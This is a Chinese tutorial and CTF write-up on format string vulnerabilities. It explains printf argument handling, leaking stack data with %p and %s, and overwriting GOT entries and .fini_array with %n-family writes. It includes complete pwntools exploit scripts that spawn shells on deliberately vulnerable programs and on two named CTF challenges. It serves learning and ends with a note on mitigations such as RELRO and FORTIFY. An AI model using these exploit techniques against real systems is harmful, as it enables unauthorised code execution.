zoukankan      html  css  js  c++  java
  • 格式化字符串漏洞及利用_萌新食用

    前言

    格式化字符串漏洞 具有 任意地址读,任意地址写。

    printf

    printf --一个参数:情况1

    111.jpg

    当参数 只有 1个字符串的话(含有%?),  //?  即 i, x, s 等等<br>第一个参数 作为 格式化字符串,而这个格式化字符串里含有解析 字符串的 %p ,它将第一个参数作为 格式化字符串,

    第二个参数 作为 格式化字符串的参数表 中的第一个参数 即 %p 对应 栈中 0xffffd144 的内容,//它将栈中 0xffffd144 的内容 以带有0x 的16进制显示出来。(32位 程序传参方式 传到栈上,栈地址 0xffffd144 中的内容为 第二个参数)

    1.png

    printf --一个参数:情况2

    222.jpg

    当参数 只有 1个字符串的话(不含有%?),在Linux中会 被转化为puts(arg)    //? 即 i, x, s 等等

    2.png

    printf --两个参数:

    333.jpg

    当两个参数 时,第一个参数作为 格式化字符串,

    第二个参数 作为 格式化字符串的参数表 中的第一个参数 即 %s 对应 “yangmutou”

    3.png

    printf --三个参数:

    444.jpg

    当三个参数 时,第一个参数作为 格式化字符串,

    第二个参数 作为 格式化字符串的参数表 中的第一个参数   即 %s 对应 “yangmutou”

    第三个参数 作为 格式化字符串的参数表 中的第二个参数   即 %d 对应   20

    4.png

    任意地址 读

    而这个函数是有漏洞的我们简单 看下面我写的例子:

    555.jpg

    我们可以控制 printf 的参数。我们输入 “aaaa%p.%p.%p.%p.%p.%p.%p.%p.%p.%p”到 0xffffd11c 栈地址处

    5.png

    可以看到 我们输入的这一整个字符串 作为了  格式化字符串,

    aaaa后面的第一个 %p 被 格式化字符串的参数表 中的第一个参数(0xffffd100+0x4*1中的内容) 解析成“0x + 16进制”0xffffd11c     然后替换掉

    aaaa后面的第二个 %p 被 格式化字符串的参数表 中的第二个参数(0xffffd100+0x4*2中的内容) 解析成“0x + 16进制” 0x64            然后替换掉

    aaaa后面的第二个 %p 被 格式化字符串的参数表 中的第三个参数(0xffffd100+0x4*3中的内容) 解析成“0x + 16进制” 0x5655561e  然后替换掉

    具体可以 看下面的 gdb 截图:

    6.png

    此时的栈:

    7.png

    另外 我们可以通过这种 方法  得到 ,第 7 个 %p 被替换成  0x61616161,即我们输入的 字符串 存到了 偏移 为 7 的 位置。这里的偏移  可以理解为 上面 的 “格式化字符串的参数表 中的第 x 个参数”另外  我们可以通过输入 %offset$p   直接输出 偏移为 7 处的内容(“0x + 16进制”)  试下 输出结果:

    666.jpg

    我们可以观察下   栈地址 0xffffd11c+0x4*2 处中的地址是个   指向字符串的指针

    雇个人设施.png

    我们可以输出结果:

    %9$s

    /home/yangmutou/桌面/fmt

    总结:即格式化漏洞的任意地址 读 其实仅需要 通过 “%偏移$格式输出” 便可以了,利用方式  很简单。这里主要 就是 要特别 注意一点,这里的偏移 是指的格式化 字符串的第几个参数,而不是说是printf 函数的第几个参数呐,因为 本来 格式化字符串   就是 printf 函数的第一个参数。两者 有 相差 1 的数学等式 关系。

    任意地址 写 

    我们还看  上面我写的小例子。

    777.jpg

    因为 不存在栈溢出,但我们要 getshell又 需要将 返回地址 给覆盖成 backdoor 地址。即需要利用格式化字符串漏洞的  任意地址写。

    首先:

    bss_addr : 0804a028   //readelf -S fmt | grep bss  得到在格式化字符串 中 有一个 特殊的格式化控制符 “%n”,它可以将已经输出的字节个数写入到 指定的 的地址中一般使用方式:"x28xa0x04x08%7$n",就是 将 已经输出的字节个数 写入到 指定的地址0x0804a028 处(这里指定的地址处就是 偏移为7(格式化字符串的第7个参数) 的栈地址中的内容,即就是  我们写入的0x0804a024 指定地址)

    payload 写成上面形式  理论上 是可以成功的,但我这次确失败了。于是就写脚本形式吧。

    888.jpg

    输入之前:

    8.png

    输入 之后 :

    9.png

    可以发现 4 被写入发 0x0804a024 中了   ,4即是p32(0x0804a024)的字节数。输出到屏幕上 的。

    以上我们就算是演示下 任意写的 简单用法了。

    而这题  我原本想的 是  将 backaddr 的地址写入 ret_addr,脚本如下:但失败了,因为想法  就是错的。

    如果我们采用 下面exp 的方法  ,是向 ret_addr 所在栈地址中的 内容 作为指针 ,向这个 指针中 写入  0x80484b6 。而并不是 把 ret_addr 所在栈地址 作为指针,并不是向栈地址中写入 0x80484b6

    999.jpg

    所以 ,换思路:我们 将printf_got 指针指向的 地址  改为  system_plt

    0.png

    from pwn import *

    p=process("./fmt")

    elf=ELF("./fmt")

    offset=7

    printf_got=elf.got['printf']#0x0804a010

    system_plt=elf.plt['system']#0x08048360

    print "printf_got is "+hex(printf_got)

    print "system_plt is "+hex(system_plt)

    payload=p32(printf_got)+"%"+str(system_plt-4)+"c%7$n"# make printf_got -> system_plt

    gdb.attach(p)

    p.sendline(payload)

    p.interactive()

    可以看到  printf_got 指针指向的 地址  改为了  system_plt

    所以,printf(&arg),就相当于 system(&arg)了,如果我们再发送 "/bin/shx00",作为arg 就能getshell了。但 程序只能运行一次。

    为了学习。我们加上循环,重新编译。

    //gcc -g -m32 -fno-stack-protector -no-pie -o fmt fmt.c    为了调试方便,关闭canary 和pie 保护

    #include<stdio.h>

    #include<stdlib.h>

    #include<string.h>

    #include<unistd.h>

    int backdoor()

    {

    return system("/bin/shx00");

    }

    int main()

    {

    while(1)

        {

    char buf[100];

    memset(&buf,0,100);

            read(0, &buf,100);

    printf(&buf);

        }

    return 0;

    }

    exp:

    from pwn import *

    p=process("./fmt")

    elf=ELF("./fmt")

    offset=7

    printf_got=elf.got['printf']#0x0804a010

    system_plt=elf.plt['system']#0x08048360

    print "printf_got is "+hex(printf_got)

    print "system_plt is "+hex(system_plt)

    payload=p32(printf_got)+"%"+str(system_plt-4)+"c%7$n"# make printf_got -> system_plt

    gdb.attach(p)

    p.sendline(payload)

    p.sendline("/bin/shx00")

    p.interactive()

    成功 getshell!

    11.png

    %n系列

    当这样构造payload  在比赛或者是 实际 漏洞利用时,往往会不会成功。因为一次行传输这么大量的字节 会导致网络卡顿或者中断连接。

    我们再来了解下”%n“ 格式化字符的扩展(称不上 其实,就称为一个系列吧)

    %n  一次性写入4个字节

    %hn  一次性写入2个字节

    %hhn  一次性写入1个字节

    这个"%n"系列的 作用就是 向 指定的地址中写入 已经输出的字节个数。用 "%偏移$n"("%偏移$hn","%偏移$hhn")  用偏移控制 指定地址。

    我们稍微改造下 上面的exp:

    #coding:utf8

    from pwn import *

    p=process("./fmt")

    elf=ELF("./fmt")

    offset=7

    printf_got=elf.got['printf']#0x0804a010

    system_plt=elf.plt['system']#0x08048360

    print "printf_got is "+hex(printf_got)

    print "system_plt is "+hex(system_plt)

    #思路:向 printf_got 中 写入 system_plt

    # 我们把  printf_got 最低位字节 覆盖成 0x60  一字节 写入 %hhn

    # 我们把  printf_got 最低位字节+1字节 覆盖成 0x83  一字节 写入 %hhn

    # 我们把  printf_got 最低位字节+2字节 覆盖成 0x04  一字节 写入 %hhn

    # 我们把  printf_got 最低位字节+3字节 覆盖成 0x08  一字节 写入 %hhn

    payload=p32(printf_got)      #0x60          # 偏移  为 7

    payload+=p32(printf_got+1)   #0x83          # 偏移  为 8

    payload+=p32(printf_got+2)   #0x04          # 偏移  为 9

    payload+=p32(printf_got+3)   #0x08          # 偏移  为 10

    payload+="%"+str(0x60-0x4*4)+"c%7$hhn"        #0x60          # 偏移  为 7

    payload+="%"+str(0x83-0x60)+"c%8$hhn"         #0x83          # 偏移  为 8

    payload+="%"+str(0x104-0x83)+"c%9$hhn"        #0x04          # 偏移  为 9  #由于是hhn所以会被截断,只留后两位

    payload+="%"+str(0x8-0x4)+"c%10$hhn"          #0x08          # 偏移  为 10

    gdb.attach(p)

    p.sendline(payload)

    p.sendline("/bin/shx00")

    p.interactive()

    成功getshell!其实 有一点疑问的 明明  printf_got,system_plt 的地址 的搞两个字节 相同,但在这题中 如果不覆盖 会失败!

    12.png

    pwntools之 Fmtstr

    在 pwntools 提供给了 我们一个 很方便的 类 Fmtstr,用于构造 格式化任意写 的payload官方文档可见于:

    http://docs.pwntools.com/en/stable/fmtstr.html

    最常用 功能:

    fmtstr_payload(offset, {printf_got:system_plt})

    即第一个参数 为 输入的payload 的偏移,第二个参数 为一个 {} 组合,“:”前面是要覆盖地址里的内容 被覆盖为":"后面的内容。所以这题就可以这样构造:

    22222.jpg

    而上面 是 32 位程序,我们现在来学下 看下更加主流的 64 位程序  是如何的。

    //gcc -g -fno-stack-protector -no-pie -o fmt fmt.c    为了调试方便,关闭canary 和pie 保护;  另外去掉 -m32 参数

    #include<stdio.h>

    #include<stdlib.h>

    #include<string.h>

    #include<unistd.h>

    int backdoor()

    {

    return system("/bin/shx00");

    }

    int main()

    {

    while(1)

        {

    char buf[100];

    memset(&buf,0,100);

            read(0, &buf,100);

    printf(&buf);

        }

    return 0;

    }

    我门首先还是  查看 偏移:

    aaaaaaaa%p.%p.%p.%p.%p.%p.%p.%p.%p.%p

    gdb 调试:

    13.png

    发现,我们的payload 存放在  栈顶了,偏移难道是 0 吗,当然并不是。

    但我们都知道 64 位程序 传参的时候是 从左到右 依次放入 寄存器:rdi,rsi,rdx,rcx,r8,r9 ,当参数大于等于 7 的时候 后面参数会依次 从右向左 放入栈中!

    14.png

    即 栈顶 存放的我们输入的payload 是作为了 printf 函数的 第7个参数,格式化字符串的第6个参数。偏移即为 6.我们可以简单证明下:

    15.png

    我们知道了偏移,也可以得到  printf_got,printf_plt  那么看看是否 64位 也可以 用Fmtstr 一把梭 getshell!exp:

    333.jpg

    发现 并不能 这样 构造  我们可以看下 payload(以dubug 查看)

    16.png

    在 x20x10x60后面的 是64位程序地址的高位 “x00”但 “x00”又会 是 字符串的结束符,相当于 截断了 payload。使payload 失去作用。于是 我们可以 调整payload,将 地址 放在 payload 的最后。由于地址中带有x00,所以这回就不能用%hhn分段写了,因此我们的payload构造如下

    4444.jpg

    gdb 查看下 是否对齐 和printf_got所在偏移

    17.png

    可以发现错位了 1字节 偏移为8 我们修正 下 payload,

    5555.jpg

    18.png

    当我们程序只能运行 一次呢,我们要怎样 gadshell 呢。再无法 ROP的情况下,我们如何利用 格式化字符串 来使得程序重新 运行呢。这里有个 流程表,    

    main函数作为程序入口,但编译成程序的时候入口其实是start代码段。(看下面图更利于理解)start代码段还会调用__libc_start_main来做一些初始化工作,最后调用main函数并在main函数结束后做一些处理。

    在main函数前会调用.init段代码和.init_array段的函数数组中每一个函数指针。同样的,main函数结束后也会调用.fini段代码和.fini._arrary段的函数数组中的每一个函数指针。(以上两行内容  来自 网络)

    19.png

    所以 如果 程序 不存在循环,我们的思路一般是,把 printf_got 给改成 system_plt, 同时 把我们可以  将.fini.arrary 中的 第一个指针 给 覆盖成 start 地址,当 程序 结束后,调用  .fini.arrary的第一个指针,便将执行流 弄到 程序在开始处,即相当于重新 执行了一次程序,但  printf_got 已经 是 system_plt 了,我们 输入 "/bin/shx00"就可拿到 shell。

    我看到 这里时,本试图自己写个小程序

    112.jpg

    正常 来想 我觉得  这样 是可以  getshell 的。

    但因为 无法控制    .fini.arrary 所造内存的 RWX状态,没法 向  .fini.arrary 第一个指针里 写入  内容。 默认只可读。

    20.png

    但假设 它可写,没意外的话,以下 exp 是应该是 可以 getshell 的。

    #coding:utf8

    from pwn import *

    context(arch="amd64",os='linux',log_level="debug")

    p=process("./fmt_64")

    elf=ELF("./fmt_64")

    #offset=6

    printf_got=elf.got['printf']

    system_plt=elf.plt['system']

    backdoor=0x4005c7

    fini_array=0x600e18        #readelf -S fmt_64 | grep fini_array

    '''

    backdoor is 0x4005c7

    fini_array is 0x600e18

    '''

    print "backdoor is "+hex(backdoor)

    print "fini_array is "+hex(fini_array)

    #pause()

    payload = "a"+"%"+str(backdoor-1)+"c%8$lln"+p64(fini_array)

    #gdb.attach(p,"b main")

    p.sendline(payload)

    p.recv()

    p.interactive()

    不假设了,还是看真题吧!

    MMA CTF 2nd 2016-greeting

    即 32位 的elf  文件,开启了 canary

    $file greeting

    ELF 32-bit LSB executable, Intel 80386, version 1 (SYSV), dynamically linked, interpreter /lib/ld-, for GNU/Linux 2.6.24, BuildID[sha1]=beb85611dbf6f1f3a943cecd99726e5e35065a63, not stripped

    $checksec greeting

    Arch:     i386-32-little

    RELRO:    No RELRO

    Stack:    Canary found

    NX:       NX enabled

    PIE:      No PIE (0x8048000)

    拖入 ida:看下程序 流程:程序大概就是我们输入等于64 个字符 到v5中,然后 将”Nice to meet you, “+我们输入的64个字符+ “:) ” 复制到s中!

    aaa.jpg

    解题思路:

    为了程序重新运行,我们将.fini_array数组的第一个元素为start地址

    因为当执行过start地址后,.fini_array数组的第一个元素将不再是start地址,所以我们在将程序重新执行后,我们需要将执行过程中的一个函数的got地址改成system的plt地址,然后第二次就直接输入/bin/shx00 拿shell了

    测偏移:12首先 输入

    aaaa%p..%p..%p..%p..%p..%p..%p..%p..%p..%p..%p..%p..%p..%p..%p..%p..

    Hello, I'm nao!

    Please tell me your name... aaaa%p..%p..%p..%p..%p..%p..%p..%p..%p..%p..%p..%p..%p..%p..%p..%p..%p..%p..%p..%p..%p..%p..%p..%p..%p..%p..%p..%p..%p..%p..%p..%p..

    Nice to meet you, aaaa0x80487d0..0xffa5f54c..(nil)..(nil)..(nil)..(nil)..0x6563694e..0x206f7420..0x7465656d..0x756f7920..0x6161202c..0x70256161..0x70252e2e..0x70252e2e..0x70252e2e. :)

    发现 0x70256161 6161 是我们 的输入的a!显然没有对齐,我们在aaaa前面再加2a,于是我们发送

    aaaaaa%p..%p..%p..%p..%p..%p..%p..%p..%p..%p..%p..%p..%p..%p..%p..%p..

    Hello, I'm nao!

    Please tell me your name... aaaaaa%p..%p..%p..%p..%p..%p..%p..%p..%p..%p..%p..%p..%p..%p..%p..%p..

    Nice to meet you, aaaaaa0x80487d0..0xffb9e0bc..(nil)..(nil)..(nil)..(nil)..0x6563694e..0x206f7420..0x7465656d..0x756f7920..0x6161202c..0x61616161..0x2e2e7025..0x2e2e7025..% :)#

    发现是12偏移aaaaaa的后四个a 的偏移 是 12  对应于 下面exp 中payload 中的 p32(fini_array) 位置处

    其中  exp 中  %hn  是以 两字节  写入。这里 之所以  payload 最开始 会 对 +18 感到 疑惑,其实 这是 因为   sprintf(&s, "Nice to meet you, %s :) ", &v5);    //格式化字符串漏洞   首先 会输出  18 字节的 格式化字符串。

    #coding:utf8

    from pwn import *

    context.log_level = 'debug'

    conn=process('./greeting')

    elf=ELF('./greeting')

    fini_array=0x08049934         #readelf -S greeting

    start=0x080484f0          #   ida  看的更方便嘛!

    system_plt=0x8048490         

    strlen_got=elf.got['strlen']

    #print "strlen_got: "+hex(strlen_got)

    #print "system_plt: "+hex(system_plt)

    #print "fini_array: "+hex(fini_array)

    #print "start: "+hex(start)

    conn.recv()

    payload='aa'+p32(fini_array)+p32(strlen_got+2)  #18+2+4+4

    payload+=p32(strlen_got)+'%34000c%12$hn'        # +4+34000=0x84f0

    payload+='%33556c%13$hn'                     #0x84f0+33556=0x10804 截断=0x0804

    payload+='%31884c%14$hn'                     #0x10804+31884=0x18049 截断=0x8049

    conn.sendline(payload)  #此时已 一次性将 fini_array->start   strlen_got->system_plt

    conn.recv()                     #程序重新运行了,接受Please tell me your name...

    conn.sendline('/bin/shx00')

    conn.interactive()

    成功 getshell:

    21.png

    然后 最后 我再 说下 这题吧!也是个  格式化字符串 任意写的 一个题型。

    BJDCTF 2nd - Pwn_r2t4

    这个程序 是 64位 并开启了  Canary保护的elf 文件,三天前比赛真题,还热乎着呢。

    程序流程也很简单,输入什么 就输出 什么。当然这里是一个   很明显的 格式化字符串漏洞。并程序 只运行  一遍,且含有 后门函数。

    int __cdecl main(int argc, const char **argv, const char **envp)

    {

    char buf; // [rsp+0h] [rbp-30h]                       

    unsigned __int64 v5; // [rsp+28h] [rbp-8h]

      v5 = __readfsqword(0x28u);

      read(0, &buf, 0x38uLL);             //存在栈溢出 漏洞,但有canary 保护,虽然可通过任意地址写 可泄露canary,但程序只运行 一边。

    printf(&buf, &buf);

    return 0;

    }

    unsigned __int64 backdoor()

    {

    unsigned __int64 v0; // ST08_8

      v0 = __readfsqword(0x28u);

      system("cat flag");

    return __readfsqword(0x28u) ^ v0;

    }

    通过上面代码中的注释可知,栈溢出的方法  不可取, 因为程序开启了Canary   当函数返回的时候  会比较canary的 值 是否发生变化,如果不一致,就触发 __stack_chk_fail 函数。且程序中 含有后门函数。我们可通过格式化字符串写  将backdoor_addr写入  __stack_chk_fail_got 中脚本如下:

    #coding:utf8

    from pwn import *

    context(arch="amd64",os='linux',log_level="debug")

    p=process("./r2t4")

    p=remote("node3.buuoj.cn",26640)

    elf=ELF("./r2t4")

    offset=6

    __stack_chk_fail=elf.got['__stack_chk_fail']

    backdoor=0x400626

    '''

    __stack_chk_fail is 0x601018

    backdoor is 0x400626

    '''

    print "__stack_chk_fail is "+hex(__stack_chk_fail)

    print "backdoor is "+hex(backdoor)

    #pause()

    payload = "a"+"%"+str(backdoor-1)+"c%8$lln"+p64(__stack_chk_fail)#  0x30

    payload+=(0x30-8-len(payload))*'a'

    #gdb.attach(p,"b main")

    p.sendline(payload)

    #pause()

    p.recv()

    p.interactive()

    成功 getshell

    22.png

    最后最后简单 说下

    和格式化字符串漏洞相关的漏洞缓解机制

    我们在checksec 程序的时候中 的RELRO 项:RELRO是重定位表只读(Relocation Read Only)的缩写,即plt 和got 表,

    1、如果 这项的 内容 为  No RELRO的话  就代表  重定位表 不是仅可读的,我们在 漏洞利用的时候 可 优先考虑  修改某个函数的 got 表项,去达到 getshell 的目的。

    2、如果  "其RELRO项为Partial RELRO 即该程序的重定位表项全部只读,无论是.got还是.got.plt都无法修改。改got表,程序不会报错,但是数据未被修改,

    3、而如果 程序开启了Full RELRO保护之后,包括格式化字符串漏洞在内,试图通过漏洞劫持got表的行为都将会被阻止。

    4、如果 是FORTIFY,这是一个由GCC实现的源码级别的保护机制,其功能是在编译的时候检查源码以避免潜在的缓冲区溢出等错误。简单地说,加了这个保护之后(编译时加上参数-D_FORTIFY_SOURCE=2)一些敏感函数如read, fgets, memcpy, printf等等可能导致漏洞出现的函数都会被替换成read_chk, fgets_chk, memcpy_chk,printf_chk等。这些带了chk的函数会检查读取/复制的字节长度是否超过缓冲区长度,通过检查·诸如%n之类的字符串位置是否位于可能被用户修改的可写地址,避免了格式化字符串跳过某些参数(如直接%7$x)等方式来避免漏洞出现。开启了FORTIFY保护的程序会被checksec检出,此外,在反汇编时直接查看got表也会发现chk函数的存在

    其实 ,不得说下 我对最后一个 FORTIFY ,还没怎么接触到。经验太少!

    格式化(字符串)溢出实验(通过本实验,理解格式化字符串漏洞,并对其进行利用)

    合天智汇:合天网络靶场、网安实战虚拟环境
  • 相关阅读:
    AcWing 1135. 新年好 图论 枚举
    uva 10196 将军 模拟
    LeetCode 120. 三角形最小路径和 dp
    LeetCode 350. 两个数组的交集 II 哈希
    LeetCode 174. 地下城游戏 dp
    LeetCode 面试题 16.11.. 跳水板 模拟
    LeetCode 112. 路径总和 递归 树的遍历
    AcWing 1129. 热浪 spfa
    Thymeleaf Javascript 取值
    Thymeleaf Javascript 取值
  • 原文地址:https://www.cnblogs.com/hetianlab/p/15002398.html
Copyright © 2011-2022 走看看